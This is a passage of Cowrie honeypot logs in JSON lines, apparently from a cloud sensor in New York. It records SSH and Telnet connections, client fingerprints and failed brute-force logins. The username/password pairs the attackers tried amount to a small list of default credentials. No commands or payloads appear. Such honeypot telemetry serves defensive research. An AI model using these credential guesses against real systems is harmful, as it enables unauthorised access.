f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:50.635876Z","src_ip":"103.148.100.146","session":"377fa5d0f007","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"data","password":"data2025","message":"login attempt [data/data2025] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:51.746048Z","src_ip":"103.148.100.146","session":"377fa5d0f007","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:53.022898Z","src_ip":"103.148.100.146","session":"377fa5d0f007","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"20.6.35.235","src_port":37512,"dst_ip":"159.203.135.109","dst_port":22,"session":"b03e58b209e7","protocol":"ssh","message":"New connection: 20.6.35.235:37512 (159.203.135.109:22) [session: b03e58b209e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:57.095495Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:57.102611Z","src_ip":"20.6.35.235","session":"b03e58b209e7","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:57.341748Z","src_ip":"20.6.35.235","session":"b03e58b209e7","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minikube","password":"123","message":"login attempt [minikube/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:58.335620Z","src_ip":"20.6.35.235","session":"b03e58b209e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T03:59:59.664011Z","src_ip":"20.6.35.235","session":"b03e58b209e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"69.4.83.194","src_port":51936,"dst_ip":"159.203.135.109","dst_port":23,"session":"c81c8004b56b","protocol":"telnet","message":"New connection: 69.4.83.194:51936 (159.203.135.109:23) [session: c81c8004b56b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:01.655649Z"}
{"eventid":"cowrie.session.connect","src_ip":"69.6.221.248","src_port":58950,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ed77015e2e5","protocol":"ssh","message":"New connection: 69.6.221.248:58950 (159.203.135.109:22) [session: 1ed77015e2e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:05.843266Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:05.851763Z","src_ip":"69.6.221.248","session":"1ed77015e2e5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:05.966758Z","src_ip":"69.6.221.248","session":"1ed77015e2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"tiger","password":"tiger","message":"login attempt [tiger/tiger] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:06.457795Z","src_ip":"69.6.221.248","session":"1ed77015e2e5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":51736,"dst_ip":"159.203.135.109","dst_port":22,"session":"937477b94fdf","protocol":"ssh","message":"New connection: 125.21.53.232:51736 (159.203.135.109:22) [session: 937477b94fdf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:06.649483Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:06.663792Z","src_ip":"125.21.53.232","session":"937477b94fdf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:06.869370Z","src_ip":"125.21.53.232","session":"937477b94fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:07.581706Z","src_ip":"69.6.221.248","session":"1ed77015e2e5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"torrent","password":"torrent","message":"login attempt [torrent/torrent] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:07.733084Z","src_ip":"125.21.53.232","session":"937477b94fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:08.950459Z","src_ip":"125.21.53.232","session":"937477b94fdf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.515565156936646,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:17.641123Z","src_ip":"69.4.83.194","session":"a144b0d6123c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.120","src_port":58850,"dst_ip":"10.17.0.5","dst_port":22,"session":"e34048aa86ea","protocol":"ssh","message":"New connection: 103.27.238.120:58850 (10.17.0.5:22) [session: e34048aa86ea]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:17.651124Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:17.661482Z","src_ip":"103.27.238.120","session":"e34048aa86ea","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.27.238.116","src_port":39554,"dst_ip":"10.17.0.5","dst_port":22,"session":"abbbcebdb2a1","protocol":"ssh","message":"New connection: 103.27.238.116:39554 (10.17.0.5:22) [session: abbbcebdb2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:17.676334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:17.684573Z","src_ip":"103.27.238.116","session":"abbbcebdb2a1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:17.915965Z","src_ip":"103.27.238.120","session":"e34048aa86ea","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:17.966197Z","src_ip":"103.27.238.116","session":"abbbcebdb2a1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"maddog","message":"login attempt [root/maddog] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:18.685611Z","src_ip":"103.27.238.120","session":"e34048aa86ea","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"718293","message":"login attempt [root/718293] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:18.804834Z","src_ip":"103.27.238.116","session":"abbbcebdb2a1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:19.945611Z","src_ip":"103.27.238.120","session":"e34048aa86ea","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:20.082382Z","src_ip":"103.27.238.116","session":"abbbcebdb2a1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"167.172.174.185","src_port":42248,"dst_ip":"159.203.135.109","dst_port":22,"session":"8e8e7c8b5885","protocol":"ssh","message":"New connection: 167.172.174.185:42248 (159.203.135.109:22) [session: 8e8e7c8b5885]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:27.217949Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:27.222991Z","src_ip":"167.172.174.185","session":"8e8e7c8b5885","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:27.308986Z","src_ip":"167.172.174.185","session":"8e8e7c8b5885","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaSW@3ed","message":"login attempt [root/1qaSW@3ed] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:27.706275Z","src_ip":"167.172.174.185","session":"8e8e7c8b5885","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:28.820714Z","src_ip":"167.172.174.185","session":"8e8e7c8b5885","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"4.194.4.255","src_port":57316,"dst_ip":"159.203.135.109","dst_port":22,"session":"6303e91ed7f3","protocol":"ssh","message":"New connection: 4.194.4.255:57316 (159.203.135.109:22) [session: 6303e91ed7f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:36.363860Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:36.369432Z","src_ip":"4.194.4.255","session":"6303e91ed7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.78066921234131,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:36.436193Z","src_ip":"69.4.83.194","session":"c81c8004b56b","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:36.605528Z","src_ip":"4.194.4.255","session":"6303e91ed7f3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"P@ssw0rd123","message":"login attempt [user/P@ssw0rd123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:37.581150Z","src_ip":"4.194.4.255","session":"6303e91ed7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:38.822977Z","src_ip":"4.194.4.255","session":"6303e91ed7f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:42.010792Z","src_ip":"213.183.120.56","session":"607fde255b89","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"79.139.59.21","src_port":49062,"dst_ip":"159.203.135.109","dst_port":23,"session":"a01fb1001952","protocol":"telnet","message":"New connection: 79.139.59.21:49062 (159.203.135.109:23) [session: a01fb1001952]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:42.279483Z"}
{"eventid":"cowrie.session.connect","src_ip":"125.21.53.232","src_port":52886,"dst_ip":"159.203.135.109","dst_port":22,"session":"ecf80af60d8b","protocol":"ssh","message":"New connection: 125.21.53.232:52886 (159.203.135.109:22) [session: ecf80af60d8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:50.976556Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T04:00:50.981822Z","src_ip":"125.21.53.232","session":"ecf80af60d8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 